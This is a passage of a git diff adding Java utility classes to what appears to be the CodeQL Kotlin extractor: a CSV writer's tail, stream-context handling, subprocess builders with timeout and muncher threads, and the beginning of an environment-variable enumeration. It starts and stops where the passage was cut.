+		this.lineEnd = lineEnd;
+	}
+
+	/**
+	 * Call with an array of booleans, corresponding to columns, where columns that have
+	 * <code>false</code> will not be quoted unless they contain special characters.
+	 * <p>
+	 * If there are more columns to print than have been configured here, any additional
+	 * columns will be treated as if <code>true</code> was passed.
+	 */
+	public void setEagerQuotingColumns(boolean... flags) {
+		eagerQuotingFlags = flags;
+	}
+
+	/**
+	 * Writes the entire list to a CSV file. The list is assumed to be a
+	 * String[]
+	 *
+	 * @param allLines
+	 *            a List of String[], with each String[] representing a line of
+	 *            the file.
+	 */
+	public void writeAll(List<String[]> allLines) throws IOException  {
+		for (String[] line : allLines) {
+			writeNext(line);
+		}
+	}
+
+	/**
+	 * Writes the next line to the file.
+	 *
+	 * @param nextLine
+	 *            a string array with each comma-separated element as a separate
+	 *            entry.
+	 */
+	public void writeNext(String... nextLine) throws IOException {
+
+		if (nextLine == null)
+			return;
+
+		StringBuilder sb = new StringBuilder(INITIAL_STRING_SIZE);
+		for (int i = 0; i < nextLine.length; i++) {
+
+			if (i != 0) {
+				sb.append(separator);
+			}
+
+			String nextElement = nextLine[i];
+			if (nextElement == null)
+				continue;
+			boolean hasSpecials = stringContainsSpecialCharacters(nextElement);
+
+			if (hasSpecials || i >= eagerQuotingFlags.length || eagerQuotingFlags[i]
+					|| stringContainsSomewhatSpecialCharacter(nextElement)) {
+				if (quotechar != NO_QUOTE_CHARACTER)
+					sb.append(quotechar);
+				sb.append(hasSpecials ? processLine(nextElement) : nextElement);
+				if (quotechar != NO_QUOTE_CHARACTER)
+					sb.append(quotechar);
+			} else {
+				sb.append(nextElement);
+			}
+		}
+
+		sb.append(lineEnd);
+		rawWriter.write(sb.toString());
+
+	}
+
+	/**
+	 * Return true if there are characters that need to be escaped in addition to
+	 * being quoted.
+	 */
+	private boolean stringContainsSpecialCharacters(String line) {
+		return line.indexOf(quotechar) != -1 || line.indexOf(escapechar) != -1;
+	}
+
+	/**
+	 * Return true if there are characters that should not appear in a completely
+	 * unquoted field.
+	 */
+	private boolean stringContainsSomewhatSpecialCharacter(String s) {
+		return s.indexOf('"') != -1 || s.indexOf('\'') != -1 || s.indexOf('\t') != -1 || s.indexOf(separator) != -1;
+	}
+
+	protected StringBuilder processLine(String nextElement)
+	{
+		StringBuilder sb = new StringBuilder(INITIAL_STRING_SIZE);
+		for (int j = 0; j < nextElement.length(); j++) {
+			char nextChar = nextElement.charAt(j);
+			if (escapechar != NO_ESCAPE_CHARACTER && nextChar == quotechar) {
+				sb.append(escapechar).append(nextChar);
+			} else if (escapechar != NO_ESCAPE_CHARACTER && nextChar == escapechar) {
+				sb.append(escapechar).append(nextChar);
+			} else {
+				sb.append(nextChar);
+			}
+		}
+
+		return sb;
+	}
+
+	/**
+	 * Flush underlying stream to writer.
+	 *
+	 * @throws IOException if bad things happen
+	 */
+	public void flush() throws IOException {
+		rawWriter.flush();
+	}
+
+	/**
+	 * Close the underlying stream writer flushing any buffered content.
+	 *
+	 * @throws IOException if bad things happen
+	 *
+	 */
+	@Override
+	public void close() throws IOException {
+	  rawWriter.close();
+	}
+
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/logging/Streams.java b/java/kotlin-extractor/src/main/java/com/semmle/util/logging/Streams.java
new file mode 100644
index 00000000000..9fee4edda49
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/logging/Streams.java
@@ -0,0 +1,101 @@
+package com.semmle.util.logging;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.util.Stack;
+
+import com.semmle.util.exception.CatastrophicError;
+
+/**
+ * A class to wrap around accesses to {@link System#out} and
+ * {@link System#err}, so that tools can behave consistently when
+ * run in-process or out-of-process.
+ */
+public class Streams {
+	private static final InheritableThreadLocal<PrintStream> out =
+			new InheritableThreadLocal<PrintStream>() {
+		@Override
+		protected PrintStream initialValue() {
+			return System.out;
+		}
+	};
+	
+	private static final InheritableThreadLocal<PrintStream> err = 
+			new InheritableThreadLocal<PrintStream>() {
+		@Override
+		protected PrintStream initialValue() {
+			return System.err;
+		}
+	};
+
+	private static final InheritableThreadLocal<InputStream> in = 
+			new InheritableThreadLocal<InputStream>() {
+		@Override
+		protected InputStream initialValue() {
+			return System.in;
+		}
+	};
+	
+	private static class SavedContext {
+		public PrintStream out, err;
+		public InputStream in;
+	}
+	
+	private static final ThreadLocal<Stack<SavedContext>> contexts = 
+			new ThreadLocal<Stack<SavedContext>>() {
+		@Override
+		protected Stack<SavedContext> initialValue() {
+			return new Stack<SavedContext>();
+		}
+	};
+	
+	public static PrintStream out() {
+		return out.get();
+	}
+	
+	public static PrintStream err() {
+		return err.get();
+	}
+
+	public static InputStream in() {
+		return in.get();
+	}
+
+	public static void pushContext(OutputStream stdout, OutputStream stderr, InputStream stdin) {
+		SavedContext context = new SavedContext();
+		context.out = out.get();
+		context.err = err.get();
+		context.in = in.get();
+		// When we run in-process, we don't benefit from
+		// a clean slate like we do when starting a new
+		// process. We need to reset anything that we care
+		// about manually.
+		// In particular, the parent VM may well have set
+		// showAllLogs=True, and we don't want the extra
+		// noise when executing the child, so we set a
+		// fresh log state for the duration of the child.
+		
+		contexts.get().push(context);
+		out.set(asPrintStream(stdout));
+		err.set(asPrintStream(stderr));
+		in.set(stdin);
+	}
+
+	private static PrintStream asPrintStream(OutputStream stdout) {
+		return stdout instanceof PrintStream ?
+				(PrintStream)stdout : new PrintStream(stdout);
+	}
+	
+	public static void popContext() {
+		Stack<SavedContext> context = contexts.get();
+		out.get().flush();
+		err.get().flush();
+		if (context.isEmpty())
+			throw new CatastrophicError("Popping logging context without preceding push.");
+		SavedContext old = context.pop();
+		out.set(old.out);
+		err.set(old.err);
+		in.set(old.in);
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/process/AbstractProcessBuilder.java b/java/kotlin-extractor/src/main/java/com/semmle/util/process/AbstractProcessBuilder.java
new file mode 100644
index 00000000000..98b7794f452
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/process/AbstractProcessBuilder.java
@@ -0,0 +1,398 @@
+package com.semmle.util.process;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Timer;
+import java.util.TimerTask;
+
+import com.github.codeql.Logger;
+import com.github.codeql.Severity;
+
+import com.semmle.util.data.StringUtil;
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.Exceptions;
+import com.semmle.util.exception.InterruptedError;
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.io.RawStreamMuncher;
+
+/**
+ * A builder for an external process. This class wraps {@link ProcessBuilder},
+ * adding support for spawning threads to manage the input and output streams of
+ * the created process.
+ */
+public abstract class AbstractProcessBuilder {
+	public static Logger logger = null;
+
+	// timeout for the muncher threads in seconds
+	protected static final long MUNCH_TIMEOUT = 20;
+	private final ProcessBuilder builder;
+	private boolean logFailure = true;
+	private InputStream in;
+	private LeakPrevention leakPrevention;
+
+	private volatile boolean interrupted = false;
+	private volatile Thread threadToInterrupt = null;
+
+	private volatile boolean hitTimeout = false;
+
+	private final Map<String, String> canonicalEnvVarNames = new LinkedHashMap<>();
+
+	private RawStreamMuncher inMuncher;
+
+
+	public AbstractProcessBuilder (List<String> args, File cwd, Map<String, String> env)
+	{
+		// Sanity checks
+		CatastrophicError.throwIfNull(args);
+		for (int i = 0; i < args.size(); ++i)
+			CatastrophicError.throwIfNull(args.get(i));
+
+		leakPrevention = LeakPrevention.NONE;
+		builder = new ProcessBuilder(new ArrayList<>(args));
+		if (cwd != null) {
+			builder.directory(cwd);
+		}
+		// Make sure that values that have been explicitly removed from Env.systemEnv()
+		// -- such as the variables representing command-line arguments --
+		// are not taken over by the new ProcessBuilder.
+		Map<String, String> keepThese = Env.systemEnv().getenv();
+		for (Iterator<String> it = builder.environment().keySet().iterator(); it.hasNext();) {
+			String name = it.next();
+			if (!keepThese.containsKey(name))
+				it.remove();
+		}
+		if (env != null) {
+			addEnvironment(env);
+		}
+
+	}
+
+	public void setLeakPrevention(LeakPrevention leakPrevention) {
+		CatastrophicError.throwIfNull(leakPrevention);
+		this.leakPrevention = leakPrevention;
+	}
+
+	/**
+	 * See {@link ProcessBuilder#redirectErrorStream(boolean)}.
+	 */
+	public void setRedirectErrorStream(boolean redirectErrorStream) {
+		this.builder.redirectErrorStream(redirectErrorStream);
+	}
+
+	public final boolean hasEnvVar(String name) {
+		return builder.environment().containsKey(getCanonicalVarName(name));
+	}
+
+	/**
+	 * Add the specified key/value pair to the environment of the builder,
+	 * overriding any previous environment entry of that name. This method
+	 * provides additional logic to handle systems where environment
+	 * variable names are case-insensitive, ensuring the last-added value
+	 * for a name ends up in the final environment regardless of case.
+	 * @param name The name of the environment variable. Whether case matters
+	 * 		is OS-dependent.
+	 * @param value The value for the environment variable.
+	 */
+	public final void addEnvVar(String name, String value) {
+		builder.environment().put(getCanonicalVarName(name), value);
+	}
+
+	/**
+	 * Prepend a specified set of arguments to this process builder's command line.
+	 * This only makes sense before the builder is started.
+	 */
+	public void prependArgs(List<String> args) {
+		builder.command().addAll(0, args);
+	}
+
+	/**
+	 * Compute a canonical environment variable name relative to this process
+	 * builder.
+	 *
+	 * The need for this method arises on platforms where the environment is
+	 * case-insensitive -- any inspection of it in such a situation needs to
+	 * canonicalise the variable name to have well-defined behaviour. This is
+	 * builder-specific, because it depends on its existing environment. For
+	 * example, if it already defines a variable called <code>Path</code>, and the
+	 * environment is case-insensitive, then setting a variable called
+	 * <code>PATH</code> should overwrite this, and checking whether a variable
+	 * called <code>PATH</code> is already defined should return <code>true</code>.
+	 */
+	public String getCanonicalVarName(String name) {
+		if (!Env.getOS().isEnvironmentCaseSensitive()) {
+			// We need to canonicalise the variable name to work around Java API limitations.
+			if (canonicalEnvVarNames.isEmpty())
+				for (String var : builder.environment().keySet())
+					canonicalEnvVarNames.put(StringUtil.lc(var), var);
+			String canonical = canonicalEnvVarNames.get(StringUtil.lc(name));
+			if (canonical == null)
+				canonicalEnvVarNames.put(StringUtil.lc(name), name);
+			else
+				name = canonical;
+		}
+		return name;
+	}
+
+	/**
+	 * Get a snapshot of this builder's environment, using canonical variable names
+	 * (as per {@link #getCanonicalVarName(String)}) as keys. Modifications to this
+	 * map do not propagate back to the builder; use
+	 * {@link #addEnvVar(String, String)} or {@link #addEnvironment(Map)} to extend
+	 * its environment.
+	 */
+	public Map<String, String> getCanonicalCurrentEnv() {
+		Map<String, String> result = new LinkedHashMap<>();
+		for (Entry<String, String> e : builder.environment().entrySet())
+			result.put(getCanonicalVarName(e.getKey()), e.getValue());
+		return result;
+	}
+
+	/**
+	 * Specify an input stream of data that will be piped to the process's
+	 * standard input.
+	 *
+	 * CAUTION: if this stream is the current process' standard in and no
+	 * input is ever received, then we will leak an uninterruptible thread
+	 * waiting for some input. This will terminate only when the standard in
+	 * is closed, i.e. when the current process terminates.
+	 */
+	public final void setIn(InputStream in) {
+		this.in = in;
+	}
+
+	/**
+	 * Set the environment of this builder to the given map. Any
+	 * existing environment entries (either from the current process
+	 * environment or from previous calls to {@link #addEnvVar(String, String)},
+	 * {@link #addEnvironment(Map)} or {@link #setEnvironment(Map)})
+	 * are discarded.
+	 * @param env The environment to use.
+	 */
+	public final void setEnvironment(Map<String, String> env) {
+		builder.environment().clear();
+		canonicalEnvVarNames.clear();
+		addEnvironment(env);
+	}
+
+	/**
+	 * Add the specified set of environment variables to the environment for
+	 * the builder. This leaves existing variable definitions in place, but
+	 * can override them.
+	 * @param env The environment to merge into the current environment.
+	 */
+	public final void addEnvironment(Map<String, String> env) {
+		for (Entry<String, String> entry : env.entrySet())
+			addEnvVar(entry.getKey(), entry.getValue());
+	}
+
+	public final int execute() {
+		return execute(0);
+	}
+
+	/**
+	 * Set the flag indicating that a non-zero exit code may be expected. This
+	 * will suppress the log of failed commands.
+	 */
+	public final void expectFailure() {
+		logFailure = false;
+	}
+
+	public final int execute(long timeout) {
+		Process process = null;
+		boolean processStopped = true;
+		Timer timer = null;
+		try {
+			synchronized (this) {
+				// Handle the case where we called kill() too early to use
+				// Thread.interrupt()
+				if (interrupted)
+					throw new InterruptedException();
+				threadToInterrupt = Thread.currentThread();
+			}
+
+			processStopped = false;
+			String directory;
+			if (builder.directory() == null) {
+				directory = "current directory ('" + System.getProperty("user.dir") + "')";
+			} else {
+				directory = "'" + builder.directory().toString() + "'";
+			}
+			logger.debug("Running command: '" + toString() + "' in " + directory);
+			process = builder.start();
+			setupInputHandling(process.getOutputStream());
+			setupOutputHandling(process.getInputStream(),
+					process.getErrorStream());
+			if (timeout != 0) {
+				// create the timer's thread as a "daemon" thread, so it does not
+				// prevent the jvm from terminating
+				timer = new Timer(true);
+				final Thread current = Thread.currentThread();
+				timer.schedule(new TimerTask() {
+					@Override
+					public void run() {
+						hitTimeout = true;
+						current.interrupt();
+					}
+				}, timeout);
+			}
+
+			int result = process.waitFor();
+			processStopped = true;
+			if (result != 0 && logFailure)
+				logger.error("Spawned process exited abnormally (code " + result
+						+ "; tried to run: " + getBuilderCommand() + ")");
+			return result;
+		} catch (IOException e) {
+			throw new ResourceError(
+					"IOException while executing process with args: "
+							+ getBuilderCommand(), e);
+		} catch (InterruptedException e) {
+			throw new InterruptedError(
+					"InterruptedException while executing process with args: "
+							+ getBuilderCommand(), e);
+		} finally {
+			// cancel the timer
+			if (timer != null) {
+				timer.cancel();
+			}
+			// clear the interrupted flag of the current thread
+			// in case it was set earlier (ie by the Timer or a call to kill())
+			synchronized (this) {
+				threadToInterrupt = null;
+				Thread.interrupted();
+			}
+			// get rid of the process, in case it is still running.
+			if (process != null && !processStopped) {
+				killProcess(process);
+			}
+			try {
+				cleanupInputHandling();
+				cleanupOutputHandling();
+			} finally {
+
+				if (process != null) {
+					FileUtil.close(process.getErrorStream());
+					FileUtil.close(process.getInputStream());
+					FileUtil.close(process.getOutputStream());
+				}
+			}
+		}
+	}
+
+	/**
+	 * Provides the implementation of actually stopping the child
+	 * process. Provided as an extension point so that this can
+	 * be customised for later Java versions or for other reasons.
+	 */
+	protected void killProcess(Process process) {
+		process.destroy();
+	}
+
+	/**
+	 * Setup handling of the process input stream (stdin).
+	 *
+	 * @param outputStream OutputStream connected to the process's standard input.
+	 */
+	protected void setupInputHandling(OutputStream outputStream) {
+		if (in == null) {
+			FileUtil.close(outputStream);
+			return;
+		}
+		inMuncher = new RawStreamMuncher(in, outputStream);
+		inMuncher.start();
+	}
+
+	/**
+	 * Setup handling of the process' output streams (stdout and stderr).
+	 *
+	 * @param stdout
+	 *            InputStream connected to the process' standard output stream.
+	 * @param stderr
+	 *            InputStream connected to the process' standard error stream.
+	 */
+	protected abstract void setupOutputHandling(InputStream stdout, InputStream stderr);
+
+	/**
+	 * Cleanup resources related to output handling. The method is always called, either after the process
+	 * has exited normally, or after an abnormal termination due to an exception. As a result cleanupOutputHandling()
+	 * might be called, without a previous call to setupOutputHandling. The implementation of this method should
+	 * handle this case.
+	 */
+	protected abstract void cleanupOutputHandling();
+
+	private void cleanupInputHandling() {
+		if (inMuncher != null && inMuncher.isAlive()) {
+			// There's no real need to wait for the muncher to terminate -- on the contrary,
+			// if it's still alive it will typically be waiting for a closing action that
+			// will only happen after execute() returns anyway.
+			// The best we can do is try to interrupt it.
+			inMuncher.interrupt();
+		}
+	}
+
+	protected void waitForMuncher(String which, Thread muncher, long timeout) {
+		// wait for termination of the muncher until a deadline is reached
+		try {
+			muncher.join(timeout);
+
+		} catch (InterruptedException e) {
+			Exceptions.ignore(e,"Further interruption attempts are ineffective --"
+							   + " we're already waiting for termination.");
+		}
+		// if muncher is still alive, report an error
+		if(muncher.isAlive()){
+			muncher.interrupt();
+			logger.error(String.format("Standard %s stream hasn't closed %s seconds after termination of subprocess '%s'.", which, MUNCH_TIMEOUT, this));
+		}
+	}
+
+	public final void kill() {
+		synchronized (this) {
+			interrupted = true;
+			if (threadToInterrupt != null)
+				threadToInterrupt.interrupt();
+		}
+	}
+
+	public boolean processTimedOut() {
+		return hitTimeout;
+	}
+
+	@Override
+	public String toString() {
+		return commandLineToString(getBuilderCommand());
+	}
+
+	private List<String> getBuilderCommand() {
+		return leakPrevention.cleanUpArguments(builder.command());
+	}
+
+	private static String commandLineToString(List<String> commandLine) {
+		StringBuilder sb = new StringBuilder();
+		boolean first = true;
+		for (String s : commandLine) {
+			boolean tricky = s.isEmpty() || s.contains(" ") ;
+
+			if (!first)
+				sb.append(" ");
+			first = false;
+			if (tricky)
+				sb.append("\"");
+
+			sb.append(s.replace("\"", "\\\""));
+
+			if (tricky)
+				sb.append("\"");
+		}
+		return sb.toString();
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/process/Builder.java b/java/kotlin-extractor/src/main/java/com/semmle/util/process/Builder.java
new file mode 100644
index 00000000000..b54a8fe88f8
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/process/Builder.java
@@ -0,0 +1,81 @@
+package com.semmle.util.process;
+
+import java.io.File;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+import com.semmle.util.io.StreamMuncher;
+import com.semmle.util.logging.Streams;
+
+public class Builder extends AbstractProcessBuilder {
+
+	private final OutputStream err;
+	private final OutputStream out;
+	protected StreamMuncher errMuncher;
+	protected StreamMuncher outMuncher;
+
+	public Builder(OutputStream out, OutputStream err, File cwd, String... args) {
+		this(out, err, cwd, null, args);
+	}
+
+	public Builder(OutputStream out, OutputStream err, File cwd,
+			Map<String, String> env, String... args) {
+		this(Arrays.asList(args), out, err, env, cwd);
+	}
+
+	public Builder(List<String> args, OutputStream out, OutputStream err) {
+		this(args, out, err, null, null);
+	}
+
+	public Builder(List<String> args, OutputStream out, OutputStream err,
+			File cwd) {
+		this(args, out, err, null, cwd);
+	}
+
+	public Builder(List<String> args, OutputStream out, OutputStream err,
+			Map<String, String> env) {
+		this(args, out, err, env, null);
+	}
+
+	public Builder(List<String> args, OutputStream out, OutputStream err,
+			Map<String, String> env, File cwd) {
+		super(args, cwd, env);
+		this.out = out;
+		this.err = err;
+	}
+
+	/**
+	 * Convenience method that executes the given command line in the current
+	 * working directory with the current environment, blocking until
+	 * completion. The process's output stream is redirected to System.out, and
+	 * its error stream to System.err. It returns the exit code of the command.
+	 */
+	public static int run(List<String> commandLine) {
+		return new Builder(commandLine, Streams.out(), Streams.err()).execute();
+	}
+
+	@Override
+	protected void cleanupOutputHandling() {
+		// wait for munchers to finish munching.
+		long deadline = 1000*MUNCH_TIMEOUT;
+		// note: check that munchers are not null, in case setupOutputHandling was
+		// not called to initialize them
+		if(outMuncher != null) {
+			waitForMuncher("output", outMuncher,deadline);
+		}
+		if(errMuncher != null) {
+			waitForMuncher("error", errMuncher,deadline);
+		}
+	}
+
+	@Override
+	protected void setupOutputHandling(InputStream stdout, InputStream stderr) {
+		errMuncher = new StreamMuncher(stderr, err);
+		errMuncher.start();
+		outMuncher = new StreamMuncher(stdout, out);
+		outMuncher.start();
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/process/Env.java b/java/kotlin-extractor/src/main/java/com/semmle/util/process/Env.java
new file mode 100644
index 00000000000..2e00bb61b32
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/process/Env.java
@@ -0,0 +1,725 @@
+package com.semmle.util.process;
+
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.LinkedHashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Stack;
+import java.util.TreeMap;
+
+import com.semmle.util.exception.Exceptions;
+import com.semmle.util.expansion.ExpansionEnvironment;
+
+/**
+ * Helper methods for finding out environment properties like the OS type.
+ */
+public class Env {
+	/**
+	 * Enum for commonly used environment variables.
+	 *
+	 * <p>
+	 * The intention is that the name of the enum constant is the same as the environment
+	 * variable itself. This means that the <code>toString</code> method does the right thing,
+	 * as does calling {@link Enum#name() }.
+	 * </p>
+	 *
+	 * <p>
+	 * Should you wish to rename an environment variable (which you're unlikely to, due to the
+	 * fact that there are many non-Java consumers), you can do a rename refactoring to make the
+	 * Java consumers do the right thing.
+	 * </p>
+	 */
+	public enum Var {
+		/*
+		 * Core toolchain variables
+		 */
+		/**
+		 * The location of the toolchain.
+		 *
+		 * Deprecated in favour of {@link Var#SEMMLE_DIST}, {@link Var#SEMMLE_HOME}, and
+		 * {@link Var#SEMMLE_DATA}.
+		 */
+		@Deprecated
+		ODASA_HOME,
+		/**
+		 * The location of the user's configuration files, including project configurations,
+		 * dashboard configurations, team insight configurations, licenses etc.
+		 */
+		SEMMLE_HOME,
+		/**
+		 * The location of the user's data, including snapshots, built dashboards, team
+		 * insight data, etc.
+		 */
+		SEMMLE_DATA,
+		/**
+		 * The location of any caches used by the toolchain, including compilation caches, trap caches, etc.
+		 */
+		SEMMLE_CACHE,
+		/**
+		 * The location of the toolchain files, including the odasa jar, our queries etc.
+		 */
+		SEMMLE_DIST,
+		/**
+		 * If running from a git tree, the root of the tree.
+		 */
+		SEMMLE_GIT_ROOT,
+		/**
+		 * The root from which relative paths in a DOOD file are resolved.
+		 */
+		SEMMLE_QUERY_ROOT,
+		/**
+		 * The directory where lock files are kept.
+		 */
+		SEMMLE_LOCK_DIR,
+		/**
+		 * The directory which will be checked for licenses.
+		 */
+		SEMMLE_LICENSE_DIR,
+		/**
+		 * The location where our queries are kept.
+		 */
+		ODASA_QUERIES,
+		/**
+		 * The location of the 'tools' directory
+		 */
+		ODASA_TOOLS,
+		/**
+		 * Whether we are running in 'prototyping mode'.
+		 */
+		ODASA_PROTOTYPE_MODE,
+		/**
+		 * The location of the default compilation cache, as a space-separated list of URIs.
+		 *
+		 * Multiple entries are tried in sequence.
+		 */
+		SEMMLE_COMPILATION_CACHE,
+		/**
+		 * Override the versions used in compilation caching.
+		 * 
+		 * This is useful for testing without modifying the version manually.
+		 */
+		SEMMLE_OVERRIDE_OPTIMISER_VERSION,
+		/**
+		 * If set, do not use compilation caching.
+		 */
+		SEMMLE_NO_COMPILATION_CACHING,
+		/**
+		 * If set, use this as the size of compilation caches, in bytes. If set to 'INFINITY', no
+		 * limit will be placed on the size.
+		 */
+		SEMMLE_COMPILATION_CACHE_SIZE,
+
+		/*
+		 * Other toolchain variables
+		 */
+		SEMMLE_JAVA_HOME,
+		ODASA_JAVA_HOME,
+		ODASA_TRACER_CONFIGURATION,
+		/**
+		 * The Java tracer agent to propagate to JVM processes.
+		 */
+		SEMMLE_JAVA_TOOL_OPTIONS,
+		/**
+		 * Whether to run jar-based subprocesses in-process instead.
+		 */
+		ODASA_IN_PROCESS,
+		/**
+		 * The executable to use for importing trap files.
+		 */
+		SEMMLE_TRAP_IMPORTER,
+		SEMMLE_PRESERVE_SYMLINKS,
+		SEMMLE_PATH_TRANSFORMER,
+
+		/*
+		 * Environment variables for password for credential stores.
+		 * Either is accepted to allow a single entry point in the code
+		 * while documenting as appropriate for the audience.
+		 */
+		SEMMLE_CREDENTIALS_PASSWORD,
+		LGTM_CREDENTIALS_PASSWORD,
+
+		/*
+		 *
+		 * Internal config variables
+		 */
+		/**
+		 * Extra arguments to pass to JVMs launched by Semmle tools.
+		 */
+		SEMMLE_JAVA_ARGS,
+		/**
+		 * A list of log levels to set, of the form:
+		 * "foo.bar=TRACE,bar.baz=DEBUG"
+		 */
+		SEMMLE_LOG_LEVELS,
+		/**
+		 * The default heap size for commands that accept a ram parameter.
+		 */
+		SEMMLE_DEFAULT_HEAP_SIZE,
+		SEMMLE_MAX_RAM_MB,
+		/**
+		 * Whether to disable asynchronous logging in the query server (otherwise it may drop messages).
+		 */
+		SEMMLE_SYNCHRONOUS_LOGGING,
+		/**
+		 * Whether or not to use memory mapping
+		 */
+		SEMMLE_MEMORY_MAPPING,
+		SEMMLE_METRICS_DIR,
+		/**
+		 * Whether we are running in our own unit tests.
+		 */
+		SEMMLE_UNIT_TEST_MODE,
+		/**
+		 * Whether to include the source QL in a QLO.
+		 */
+		SEMMLE_DEBUG_QL_IN_QLO,
+		/**
+		 * Whether to enable extra assertions
+		 */
+		ODASA_ASSERTIONS,
+		/**
+		 * A file containing extra variables for ExpansionEnvironments.
+		 */
+		ODASA_EXTRA_VARIABLES,
+		ODASA_TUNE_GC,
+		/**
+		 * Whether to run PI in hosted mode.
+		 */
+		SEMMLE_ODASA_DEBUG,
+		/**
+		 * The python executable to use for Qltest.
+		 */
+		SEMMLE_PYTHON,
+		/**
+		 * The platform we are running on; one of "linux", "osx" and "win".
+		 */
+		SEMMLE_PLATFORM,
+		/**
+		 * Location of platform specific tools, currently only used in universal LGTM distributions
+		 */
+		SEMMLE_PLATFORM_TOOLS,
+		/**
+		 * PATH to use to look up tooling required by macOS Relocator scripts.
+		 */
+		CODEQL_TOOL_PATH,
+		/**
+		 * This can override the heuristics for BDD factory resetting. Most useful for measurements
+		 * and debugging.
+		 */
+		CODEQL_BDD_RESET_FRACTION,
+
+		/**
+		 * How many TRAPLinker errors to report.
+		 */
+		SEMMLE_MAX_TRAP_ERRORS,
+
+		/**
+		 * How many tuples to accumulate in memory before pushing to disk.
+		 */
+		SEMMLE_MAX_TRAP_INMEMORY_TUPLES,
+		/**
+		 * How many files to merge at each merge step.
+		 */
+		SEMMLE_MAX_TRAP_MERGE,
+
+		/*
+		 * Variables used by extractors.
+		 */
+		/**
+		 * Whether the C++ extractor should copy executables before
+		 * running them (works around System Integrity Protection
+		 * on OS X 10.11+).
+		 */
+		SEMMLE_COPY_EXECUTABLES,
+		/**
+		 * When SEMMLE_COPY_EXECUTABLES is in operation, where to
+		 * create the directory to copy the executables to.
+		 */
+		SEMMLE_COPY_EXECUTABLES_SUPER_ROOT,
+		/**
+		 * When SEMMLE_COPY_EXECUTABLES is in operation, the
+		 * directory we are copying executables to.
+		 */
+		SEMMLE_COPY_EXECUTABLES_ROOT,
+		/**
+		 * The executable which should be used as an implicit runner on Windows.
+		 */
+		SEMMLE_WINDOWS_RUNNER_BINARY,
+		/**
+		 * Verbosity level for the Java interceptor.
+		 */
+		SEMMLE_INTERCEPT_VERBOSITY,
+		/**
+		 * Verbosity level for the Java extractor.
+		 */
+		ODASA_JAVAC_VERBOSE,
+		/**
+		 * Whether to use class origin tracking for the Java extractor.
+		 */
+		ODASA_JAVA_CLASS_ORIGIN_TRACKING,
+		ODASA_JAVAC_CORRECT_EXCEPTIONS,
+		ODASA_JAVAC_EXTRA_CLASSPATH,
+		ODASA_NO_ECLIPSE_BUILD,
+
+		/*
+		 * Variables set during snapshot builds
+		 */
+		/**
+		 * The location of the project being built.
+		 */
+		ODASA_PROJECT,
+		/**
+		 * The location of the snapshot being built.
+		 */
+		ODASA_SNAPSHOT,
+		ODASA_SNAPSHOT_NAME,
+		ODASA_SRC,
+		ODASA_DB,
+		ODASA_BUILD_ERROR_DIR,
+		TRAP_FOLDER,
+		SOURCE_ARCHIVE,
+		ODASA_OUTPUT,
+		ODASA_SUBPROJECT_THREADS,
+
+		/*
+		 * Layout variables
+		 */
+		ODASA_JAVA_LAYOUT,
+		ODASA_CPP_LAYOUT,
+		ODASA_CSHARP_LAYOUT,
+		ODASA_PYTHON_LAYOUT,
+		ODASA_JAVASCRIPT_LAYOUT,
+
+		/*
+		 * External variables
+		 */
+		JAVA_HOME,
+		PATH,
+		LINUX_VARIANT,
+
+		/*
+		 * If set, use this proxy for HTTP requests
+		 */
+		HTTP_PROXY,
+		http_proxy,
+
+		/*
+		 * If set, use this proxy for HTTPS requests
+		 */
+		HTTPS_PROXY,
+		https_proxy,
+
+		/*
+		 * If set, ignore the variables above and do not use any proxies for requests
+		 */
+		NO_PROXY,
+		no_proxy,
+
+		/*
+		 * Variables set by the codeql-action. All variables will
+		 * be unset if the CLI is not in the context of the
+		 * codeql-action.
+		 */
+
+		/**
+		 * Either {@code actions} or {@code runner}.
+		 */
+		CODEQL_ACTION_RUN_MODE,
+
+		/**
+		 * Semantic version of the codeql-action.
+		 */
+		CODEQL_ACTION_VERSION,
+		/*
+		 * tracer variables
+		 */
+		/**
+		 * Colon-separated list of enabled tracing languages
+		 */
+		CODEQL_TRACER_LANGUAGES,
+		/**
+		 * Path to the build-tracer log file
+		 */
+		CODEQL_TRACER_LOG,
+		/**
+		 * Prefix to a language-specific root directory
+		 */
+		CODEQL_TRACER_ROOT_,
+
+		;
+	}
+
+	private static final int DEFAULT_RAM_MB_32 = 1024;
+	private static final int DEFAULT_RAM_MB = 4096;
+	private static final Env instance = new Env();
+
+	private final Stack<Map<String, String>> envVarContexts;
+
+	public static synchronized Env systemEnv() {
+		return instance;
+	}
+
+	/**
+	 * Create an instance of Env containing no variables. Intended for use in
+	 * testing to isolate the test from the local machine environment.
+	 */
+	public static Env emptyEnv() {
+		Env env = new Env();
+		env.envVarContexts.clear();
+		env.envVarContexts.push(Collections.unmodifiableMap(makeContext()));
+		return env;
+	}
+
+	private static Map<String, String> makeContext() {
+		if (getOS().equals(OS.WINDOWS)) {
+			// We want to compare in the same way Windows does, which means
+			// upper-casing. For example, '_' needs to come after 'Z', but
+			// would come before 'z'.
+			return new TreeMap<>((a, b) -> a.toUpperCase(Locale.ENGLISH).compareTo(b.toUpperCase(Locale.ENGLISH)));
+		} else {
+			return new LinkedHashMap<>();
+		}
+	}
+
+	public Env() {
+		envVarContexts = new Stack<>();
+		Map<String, String> env = makeContext();
+		try {
+			env.putAll(System.getenv());
+		} catch (SecurityException ex) {
+			Exceptions.ignore(ex, "Treat an inaccessible environment variable as not existing");
